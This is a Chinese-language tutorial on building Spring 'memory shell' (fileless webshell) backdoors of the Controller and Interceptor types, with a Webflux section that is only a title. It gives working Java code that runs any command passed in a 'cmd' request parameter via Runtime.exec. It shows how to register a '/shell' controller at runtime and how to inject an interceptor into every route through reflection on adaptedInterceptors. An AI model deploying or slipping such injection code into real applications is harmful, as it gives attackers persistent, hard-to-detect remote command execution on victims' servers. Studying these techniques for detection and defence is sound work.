一、Spring Controller 型内存马

0. 新建 SpringBoot 项目

创建一个新的 SpringBoot 项目以支持 Controller 相关操作。

1. Spring Controller 使用

以下是 RestController 的实现,包含测试接口和命令执行接口:

@RestController
public class TestController {
    @RequestMapping("/test")
    public String test() {
        return "test";
    }
 
    @RequestMapping("/rce")
    public String rce(HttpServletRequest request, HttpServletResponse response, Object handler) {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        return "rce";
    }
}
 

2. 断点调试

参考资料:微信公众号文章

已知信息:

  • RequestMappingHandlerMapping#registerMapping 用于注册路由映射。

  • 通过上下文获取 context,然后使用 getBean 获取 RequestMappingHandlerMapping 实例。

  • registerMapping 方法签名:

    public void registerMapping(RequestMappingInfo mapping, Object handler, Method method)
     
  • 参数说明:

    • RequestMappingInfo mapping: 通过 RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); 创建。
    • Object handler: 操作对象,例如 new InjectedController()
    • Method method: 操作对象中的方法,例如 InjectedController.class.getDeclaredMethod

3. 内存马实现

动态注册 Controller 及映射路由:

// 获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 
// 手动注册 Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 Controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
// 3. 定义访问 Controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 Controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 Controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);
 

二、Spring Interceptor 型内存马

0. 新建 SpringBoot 项目

创建一个新的 SpringBoot 项目以支持 Interceptor 相关操作。

1. Spring Interceptor 使用

以下是 HandlerInterceptor 的实现及配置:

TestInterceptor.java

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        return HandlerInterceptor.super.preHandle(request, response, handler);
    }
}
 

WebConfig.java

@Configuration
@EnableWebMvc
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
        // WebMvcConfigurer.super.addInterceptors(registry);
    }
}
 

2. 断点调试

调试关键点:

  • preHandle 方法下设置断点,找到 this.getHandler
  • this.getHandler 下设置断点,进入 HandlerExecutionChain
  • 查看 AbstractHandlerMapping#getHandlerExecutionChain 方法。
  • 关注 this.adaptedInterceptors 字段。

3. 内存马实现

动态注册 Interceptor 及映射路由:

@RestController
public class InterceptorShell {
    @RequestMapping("/inject")
    public String inject() {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        try {
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(r);
            list.add(new TestInterceptor());
        } catch (NoSuchFieldException | IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        return "inject success";
    }
 
    public class TestInterceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            System.out.println("preHandle");
            String cmd = request.getParameter("cmd");
            Runtime.getRuntime().exec(cmd);
            return HandlerInterceptor.super.preHandle(request, response, handler);
        }
    }
}
 

三、Spring Webflux 型内存马

内存马实现

动态注册 WebFilter 及映射路由。